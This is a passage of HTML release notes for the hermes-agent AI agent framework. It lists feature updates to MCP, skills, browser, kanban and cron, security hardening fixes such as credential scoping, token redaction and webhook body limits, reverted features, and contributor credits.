<ul>
<li>MCP: <code>mcp__server__tool</code> naming convention; server log notifications surfaced in agent.log; hosted OAuth completed across Dashboard + Desktop; configurable <code>redirect_uri</code>/<code>redirect_host</code> for proxied/WAF setups; OAuth callback port races closed; Blender added to the MCP catalog with a curated 4-tool default (<a href="https://github.com/NousResearch/hermes-agent/pull/52750" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52750/hovercard">#52750</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57416" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57416/hovercard">#57416</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66151" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66151/hovercard">#66151</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65610" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65610/hovercard">#65610</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65622" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65622/hovercard">#65622</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64463" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64463/hovercard">#64463</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li>Skills: <code>security/unbroker</code> (autonomous data-broker removal) + blind opt-out hardening; <code>unreal-mcp</code> companion skill; blender-mcp reworked around the catalog entry; humanizer pattern expansion; <code>mcp-oauth-remote-gateway</code> optional skill (<a href="https://github.com/NousResearch/hermes-agent/pull/57438" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57438/hovercard">#57438</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57902" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57902/hovercard">#57902</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65989" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65989/hovercard">#65989</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64715" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64715/hovercard">#64715</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65066" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65066/hovercard">#65066</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65486" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65486/hovercard">#65486</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Browser: full snapshots stored on truncation, eval denylist opt-in; computer_use follows cua-driver's verify→escalate ladder (<a href="https://github.com/NousResearch/hermes-agent/pull/65923" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65923/hovercard">#65923</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67123" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67123/hovercard">#67123</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Kanban: modal create-task dialog + editable board project directory; Done-card results made obvious; grab-to-pan board scrolling; attachment toolset + CLI with SSRF-guarded URL fetch; project directory captured at board creation (<a href="https://github.com/NousResearch/hermes-agent/pull/66333" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66333/hovercard">#66333</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63638" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63638/hovercard">#63638</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60226" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60226/hovercard">#60226</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65698" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65698/hovercard">#65698</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63249" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63249/hovercard">#63249</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Cron: durable execution audit history; one-shot stale-removal race fixed; run-claim TTL derived from HERMES_CRON_TIMEOUT (<a href="https://github.com/NousResearch/hermes-agent/pull/61791" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61791/hovercard">#61791</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62014" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62014/hovercard">#62014</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PRATHAMESH75/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PRATHAMESH75">@PRATHAMESH75</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59567" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59567/hovercard">#59567</a>)</li>
<li>mem0: self-hosted dashboard backend + recall tuning + setup-wizard mode (<a href="https://github.com/NousResearch/hermes-agent/pull/56943" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56943/hovercard">#56943</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60494/hovercard">#60494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Image gen: Codex image inputs; unsupported Codex image accounts classified; tool args recursively normalized by schema (cline port) (<a href="https://github.com/NousResearch/hermes-agent/pull/57017" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57017/hovercard">#57017</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63627" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63627/hovercard">#63627</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52220" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52220/hovercard">#52220</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🔒 Security &amp; Reliability</h2>
<ul>
<li>Vertex: credential/project/region resolution through the profile secret scope; <code>VERTEX_CREDENTIALS_PATH</code>/<code>GOOGLE_APPLICATION_CREDENTIALS</code> stripped from subprocess env (<a href="https://github.com/NousResearch/hermes-agent/pull/56680" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56680/hovercard">#56680</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56582/hovercard">#56582</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>)</li>
<li>Six P1 hardening PRs salvaged in one pass — browser guards, MEDIA anchoring, .env lockdown, delegate ACP transport (<a href="https://github.com/NousResearch/hermes-agent/pull/57660" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57660/hovercard">#57660</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Media/vision/image-gen local-file reads routed through the shared credential-read guard; native image routing guarded by file-safety policy; unified image-source resolver + terminal-backend confinement (<a href="https://github.com/NousResearch/hermes-agent/pull/58709" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58709/hovercard">#58709</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58752" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58752/hovercard">#58752</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57890" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57890/hovercard">#57890</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Webhook body-cap sweep: explicit <code>client_max_size</code> on 3 uncapped aiohttp servers + completion sweep; Raft chunked-request body limit; timestamp-bound V2 webhook signatures (<a href="https://github.com/NousResearch/hermes-agent/pull/59180" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59180/hovercard">#59180</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59215" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59215/hovercard">#59215</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58902" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58902/hovercard">#58902</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58508" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58508/hovercard">#58508</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>)</li>
<li>Redaction: Fireworks token prefixes + Telegram transport errors; env-lookup false positives fixed for KEY=value and JSON/YAML config fields; bot tokens scrubbed from Telegram connect/send errors (<a href="https://github.com/NousResearch/hermes-agent/pull/58501" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58501/hovercard">#58501</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58534" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58534/hovercard">#58534</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58915" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58915/hovercard">#58915</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58893" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58893/hovercard">#58893</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>computer-use: subprocess env sanitized across all five cua-driver spawn sites (<a href="https://github.com/NousResearch/hermes-agent/pull/58889" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58889/hovercard">#58889</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59165" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59165/hovercard">#59165</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Dashboard: managed-files credential guard widened past .env + dir-tree gap closed; OAuth token TOCTOU closed with atomic 0o600 writes; stale dashboards can't recreate deleted profiles (<a href="https://github.com/NousResearch/hermes-agent/pull/58222" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58222/hovercard">#58222</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60236" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60236/hovercard">#60236</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49435" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49435/hovercard">#49435</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>)</li>
<li>CI: untrusted refs passed through env, not <code>run:</code> interpolation; JS/TS tests wired into CI with source-regex tests banned; js-autofix pushes via PR instead of direct-to-main (<a href="https://github.com/NousResearch/hermes-agent/pull/57842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57842/hovercard">#57842</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60707" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60707/hovercard">#60707</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65186/hovercard">#65186</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li>Docker: terminal network toggle with full-path coverage; Git Bash Mandatory-ASLR install failures detected; Windows updater console hidden during handoff (<a href="https://github.com/NousResearch/hermes-agent/pull/59149" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59149/hovercard">#59149</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64651" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64651/hovercard">#64651</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66040" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66040/hovercard">#66040</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>)</li>
<li>Anthropic: request-local clients so the stale/interrupt watchdog never corrupts SQLite; per-profile OAuth file; OAuth login 429 fixed (UA must not be claude-code/) (<a href="https://github.com/NousResearch/hermes-agent/pull/67238" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67238/hovercard">#67238</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59339" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59339/hovercard">#59339</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58178" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58178/hovercard">#58178</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Gateway/agent: tool_call_id deduplicated across pre-API sanitizers; background review inherits parent reasoning_config for Anthropic cache parity; <code>/new</code> memory extraction moved off the command path (<a href="https://github.com/NousResearch/hermes-agent/pull/58350" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58350/hovercard">#58350</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64379" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64379/hovercard">#64379</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61139" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61139/hovercard">#61139</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🔁 Reverted in this window (for the record)</h2>
<ul>
<li>iron-proxy credential-injection egress firewall (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499336733" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/30179" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30179/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/30179">#30179</a> → reverted in <a href="https://github.com/NousResearch/hermes-agent/pull/58489" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58489/hovercard">#58489</a>) — not shipping in this release</li>
<li>dynamic-workflow orchestration skill (landed, then reverted) — not shipping</li>
<li>memory provider-actions extension point (landed, then reverted) — not shipping</li>
<li>Note: the plugin <code>pre_tool_call</code> approve escalation was reverted mid-window but <strong>re-landed</strong> in <a href="https://github.com/NousResearch/hermes-agent/pull/60504" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60504/hovercard">#60504</a> and ships in this release.</li>
</ul>
<h2>👥 Contributors</h2>
<p><strong>450+ people</strong> contributed to this release (via commits, co-author trailers, and salvaged PRs) — the biggest contributor window yet. Thank you, all of you.</p>
<h3>Core team</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a> — release lead; TTFT perf wave, delivery + delegation durability, smart approvals, SecretSource, gateway multiplex + profile routing, sessions export, security round, and a ~290-PR community salvage burn</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a> — desktop app (the speed wave, layout-tree shell, Capabilities page, session colors, vibe reactions, TUI incremental markdown, perf harness)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> — GPT-5.6 end-to-end, DeepInfra + Upstage Solar providers, perf cluster, compression integrity, mem0, dashboard guards</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a> — CI overhaul (JS/TS tests wired in, autofix-via-PR, python speedups), desktop keybinds/worktrees/status indicators, full desktop TypeScript conversion</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> — relay OIDC provisioning, gateway multiplex override, Nous auth self-heal, hosted MCP OAuth groundwork</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a> — terminal billing (<code>/subscription</code>, <code>/topup</code>), desktop billing tab</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a> — desktop provider/model UX, TUI model picker refresh, Windows install/updater hardening</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a> — desktop custom endpoint settings</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a> — unbroker + unreal-mcp skills, humanizer expansion</li>
</ul>
<h3>Top community contributors</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a> — security hardening: Vertex credential/project/region scoping through the profile secret scope, subprocess env stripping, Raft chunked-request body limits</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HexLab98/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HexLab98">@HexLab98</a> — 11 fixes across MCP capability gating, Windows installer PATH, desktop cron editing, gateway systemd warnings</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/UnathiCodex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/UnathiCodex">@UnathiCodex</a> — desktop stability: zoom across display moves, LaTeX rendering, resume-stall and runtime-readiness fixes</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxxigm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxxigm">@xxxigm</a> — <code>&lt;think&gt;</code> leak fix after thinking-only retry flush, dashboard auth/theme/PTY fixes</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erosika/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erosika">@erosika</a> — desktop declarative memory-provider panel + honcho recall/timeout correctness</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Frowtek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Frowtek">@Frowtek</a> — credential security: master stores never mounted into skill sandboxes, live-transcript redaction, dashboard api_key precedence</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/necoweb3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/necoweb3">@necoweb3</a> — browser private-page CDP guard, cron one-shot liveness, gateway compression fail-closed</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DavidMetcalfe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DavidMetcalfe">@DavidMetcalfe</a> — desktop updater version pill, Local/custom endpoint exposure, sidebar collapse behavior</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a> — dashboard: mobile channel setup, Discord toolsets from web UI, Telegram setup clarity</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a> — Gemini request-context improvements</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PRATHAMESH75/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PRATHAMESH75">@PRATHAMESH75</a> — cron one-shot stale-removal race, dashboard multiplex port-binding guard</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alelpoan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alelpoan">@alelpoan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/embwl0x/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/embwl0x">@embwl0x</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adolanium/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adolanium">@Adolanium</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giggling-ginger/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giggling-ginger">@giggling-ginger</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Drexuxux/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Drexuxux">@Drexuxux</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frizikk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frizikk">@frizikk</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>, @wesleysimplici, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pierrenode/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pierrenode">@pierrenode</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/simpolism/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/simpolism">@simpolism</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MorAlekss/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MorAlekss">@MorAlekss</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/r266-tech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/r266-tech">@r266-tech</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WadydX/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WadydX">@WadydX</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nv-kasikritc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nv-kasikritc">@nv-kasikritc</a> — targeted fixes across desktop, TUI, gateway, cron, webhook, nix, and browser surfaces</li>
<li>Salvaged-work authors whose PRs were cherry-picked with credit this window: <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Burgunthy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Burgunthy">@Burgunthy</a> (profile routing), <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a> (sessions export), <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a> (1Password), <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Christopher-Schulze/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Christopher-Schulze">@Christopher-Schulze</a>, <a class="user-mention notranslate" data-hovercard-type="user" 